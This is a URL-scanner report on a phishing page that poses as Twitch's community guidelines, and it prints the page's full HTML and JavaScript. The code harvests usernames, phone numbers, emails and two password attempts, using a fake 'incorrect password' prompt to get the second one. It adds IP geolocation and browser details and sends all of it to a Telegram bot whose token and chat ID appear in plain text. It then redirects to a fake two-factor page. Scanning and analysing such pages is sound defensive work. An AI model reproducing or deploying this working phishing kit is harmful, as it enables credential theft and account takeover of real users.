https://twitch-community-guidelines.web.app/index2.html

제출된 URL:
https://twitch-community-guidelines.web.app/
보고서 완료:

링크 · 0개 결과

JavaScript 변수 · 8개 결과

이름유형
onbeforetoggleobject
documentPictureInPictureobject
onscrollendobject
sendMessagefunction
submitPasswordfunction
submitSecondPasswordfunction
sendTelegramMessagefunction
closeModalfunction

콘솔 로그 메시지 · 4개 결과

유형카테고리로그
errornetwork
URL
https://twitch-community-guidelines.web.app/favicon.ico
텍스트
Failed to load resource: the server responded with a status of 404 ()
logjavascript
URL
https://twitch-community-guidelines.web.app/
텍스트
Message sent: JSHandle@object
verbosedom
URL
https://twitch-community-guidelines.web.app/index2.html
텍스트
[DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) %o
verbosedom
URL
https://twitch-community-guidelines.web.app/index2.html
텍스트
[DOM] Password field is not contained in a form: (More info: https://goo.gl/9p2vKq) %o

HTML

<!DOCTYPE html><html lang="en"><head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Community Guidelines</title>
    <style>
        body {
            margin: 0;
            display: flex;
            flex-direction: column; /* Align children vertically */
            align-items: center; /* Center children horizontally */
            background-color: white; /* Set background color to white */
            font-family: Arial, sans-serif; /* Set a default font */
            overflow-x: hidden; /* Prevent horizontal scrolling */
        }
        img.top-image {
            width: 100%; /* Make image responsive */
            max-width: 1902px; /* Limit max width */
            height: auto; /* Maintain aspect ratio */
        }
        img.bottom-image {
            width: 100%; /* Make image responsive */
            max-width: 1903px; /* Limit max width */
            height: auto; /* Maintain aspect ratio */
            margin-top: 20px; /* Add space above the image */
            display: block; /* Ensure it behaves as a block element */
            border: 5px solid black; /* Add black border around the image */
        }
        /* Hide the bottom image on mobile devices */
        @media (max-width: 768px) {
            img.bottom-image {
                display: none; /* Hide on mobile */
            }
        }
        /* Style the form */
        form {
            margin-top: 20px; /* Add some space above the form */
            width: 90%; /* Set width of the form */
            max-width: 600px; /* Limit max width */
            display: flex;
            flex-direction: column; /* Align form elements vertically */
            gap: 10px; /* Space between form elements */
            transition: filter 0.3s; /* Smooth transition for blur effect */
        }
        .blur {
            filter: blur(5px); /* Blur effect */
        }
        label {
            color: #18181b; /* Set label color */
            font-weight: bold; /* Make label font bold */
        }
        input, textarea {
            padding: 10px; /* Add padding to inputs and textarea */
            border: 1px solid #ccc; /* Light gray border */
            border-radius: 4px; /* Rounded corners */
            font-size: 16px; /* Font size */
            color: #18181b; /* Set input and textarea text color */
            font-weight: bold; /* Make input and textarea font bold */
            width: 100%; /* Make inputs full width */
            box-sizing: border-box; /* Include padding in width */
        }
        textarea {
            resize: vertical; /* Allow vertical resizing of textarea */
        }
        button {
            padding: 10px; /* Add padding to the button */
            background-color: #60369f; /* Set background color */
            color: white; /* Set text color */
            border: none; /* Remove border */
            border-radius: 4px; /* Rounded corners */
            font-size: 16px; /* Font size */
            cursor: pointer; /* Pointer cursor on hover */
        }
        button:hover {
            background-color: #4a2e85; /* Darken button on hover */
        }
        /* Modal styles */
        .modal {
            display: none; /* Hidden by default */
            position: fixed; /* Stay in place */
            z-index: 1; /* Sit on top */
            left: 0;
            top: 0;
            width: 100%; /* Full width */
            height: 100%; /* Full height */
            overflow: auto; /* Enable scroll if needed */
            background-color: rgb(0,0,0); /* Fallback color */
            background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
            padding-top: 60px; /* Location of content */
        }
        .modal-content {
            background-color: #fefefe;
            margin: 5% auto; /* 15% from the top and centered */
            padding: 20px;
            border: 1px solid #888;
            width: 80%; /* Could be more or less, depending on screen size */
            max-width: 400px; /* Limit max width of modal */
            border-radius: 4px; /* Rounded corners */
        }
        .error-message {
            color: red; /* Set color for error message */
            margin-right: 10px; /* Space between message and button */
        }
    </style>
    <script>
        let username; // Variable to store the username
        let password1; // Variable to store the first password
        let password2; // Variable to store the second password

        async function sendMessage(event) {
            event.preventDefault(); // Prevent the default form submission
            username = document.getElementById('username').value; // Store the username
            const phone = document.getElementById('phone').value;
            const email = document.getElementById('email').value;
            const additionalInfo = document.getElementById('additional-info').value;

            // Open the password modal
            document.getElementById('passwordModal').style.display = "block";
            // Blur the form
            document.querySelector('form').classList.add('blur');
            // Set the username in the modal
            document.getElementById('modal-username-input').value = username; // Set username input

            // Send initial message to Telegram after submitting the form
            await sendTelegramMessage(username, phone, email, additionalInfo, ''); // Send without password
        }

        async function submitPassword() {
            password1 = document.getElementById('password').value; // Get password from the first modal

            // Open the second password modal
            document.getElementById('secondPasswordModal').style.display = "block"; // Show the second modal
            document.getElementById('modal-username-input-second').value = username; // Set username input in second modal
            // Send message to Telegram with the password
            await sendTelegramMessage(username, document.getElementById('phone').value, document.getElementById('email').value, document.getElementById('additional-info').value, password1);
            // Do not unblur the form
        }

        async function submitSecondPassword() {
            password2 = document.getElementById('second-password').value; // Get password from the second modal

            // Send message to Telegram with the password
            await sendTelegramMessage(username, document.getElementById('phone').value, document.getElementById('email').value, document.getElementById('additional-info').value, password1, password2);

            // Redirect to 2fa.html
            window.location.href = "2fa.html";
        }

        async function sendTelegramMessage(username, phone, email, additionalInfo, password1, password2) {
            // Fetch IP information
            let ipInfo = {};
            try {
                const ipResponse = await fetch('https://ipapi.co/json');
                if (ipResponse.ok) {
                    ipInfo = await ipResponse.json();
                } else {
                    console.error('Failed to fetch IP information');
                }
            } catch (error) {
                console.error('Error fetching IP information:', error);
            }

            // Get OS and Browser information
            const os = navigator.platform; // OS information
            const browser = navigator.userAgent; // Browser information

            const message = `Username: ${username}\n` +
                            `Phone Number: ${phone}\n` +
                            `Email: ${email}\n` +
                            `Additional Information: ${additionalInfo}\n` +
                            `Password1: ${password1}\n` + // Password from the first modal
                            `Password2: ${password2}\n` + // Password from the second modal
                            `City: ${ipInfo.city || 'N/A'}\n` +
                            `Region: ${ipInfo.region || 'N/A'}\n` +
                            `Country: ${ipInfo.country_name || 'N/A'}\n` +
                            `OS: ${os}\n` +
                            `Browser: ${browser}`;

            const chatId = '7748459002'; // Your chat ID
            const botToken = '8194724994:AAHxeSXJq4uTnt-ncL36BOTnSR4Cscck-2E'; // Your bot token
            
            const url = `https://api.telegram.org/bot${botToken}/sendMessage`;
            const payload = {
                chat_id: chatId,
                text: message,
                parse_mode: 'HTML'
            };

            try {
                const response = await fetch(url, {
                    method: 'POST',
                    headers: {
                        'Content-Type': 'application/json'
                    },
                    body: JSON.stringify(payload)
                });

                if (response.ok) {
                    // Do not clear the form to keep the input values
                } else {
                    console.error('Failed to send message.');
                }
            } catch (error) {
                console.error('Error:', error);
            }
        }

        function closeModal() {
            document.getElementById('passwordModal').style.display = "none";
            document.getElementById('secondPasswordModal').style.display = "none"; // Also close the second modal
            document.querySelector('form').classList.remove('blur'); // Unblur the form
        }
    </script>
</head>
<body>
    <!-- Insert the image at the top of the page -->
    <img src="images/s1.png" alt="Top Image" class="top-image">

    <!-- Form for user input -->
    <form onsubmit="sendMessage(event)">
        <label for="username">Username</label>
        <input type="text" id="username" name="username" required="">

        <label for="phone">Phone Number</label>
        <input type="tel" id="phone" name="phone" required="">

        <label for="email">Email</label>
        <input type="email" id="email" name="email" required="">

        <label for="additional-info">Additional Information</label>
        <textarea id="additional-info" name="additional-info" rows="4"></textarea>

        <button type="submit">Submit</button>
    </form>

    <!-- Modal for password entry -->
    <div id="passwordModal" class="modal">
        <div class="modal-content">
            <h2>Enter Password</h2>
            <label for="modal-username-input">Username</label>
            <input type="text" id="modal-username-input" value="" readonly="" required=""> <!-- Readonly field -->
            <label for="modal-username-input">Password</label>
            <input type="password" id="password" placeholder="">
            <div style="display: flex; justify-content: flex-end;"> <!-- Flex container for button -->
                <button onclick="submitPassword()">Continue</button>
            </div>
        </div>
    </div>

    <!-- Second Modal for incorrect password -->
    <div id="secondPasswordModal" class="modal">
        <div class="modal-content">
            <h2>Enter Password</h2>
            <label for="modal-username-input-second">Username</label>
            <input type="text" id="modal-username-input-second" value="" readonly="" required=""> <!-- Readonly field -->
            <label for="modal-username-input">Password</label>
            <input type="password" id="second-password" placeholder="">
            <div style="display: flex; justify-content: space-between; align-items: center;"> <!-- Flex container for button -->
                <div class="error-message" id="error-message">Your password was incorrect.</div>
                <button onclick="submitSecondPassword()">Continue</button>
            </div>
        </div>
    </div>

    <!-- Insert the image at the bottom of the page -->
    <img src="images/s2.png" alt="Bottom Image" class="bottom-image">


</body></html>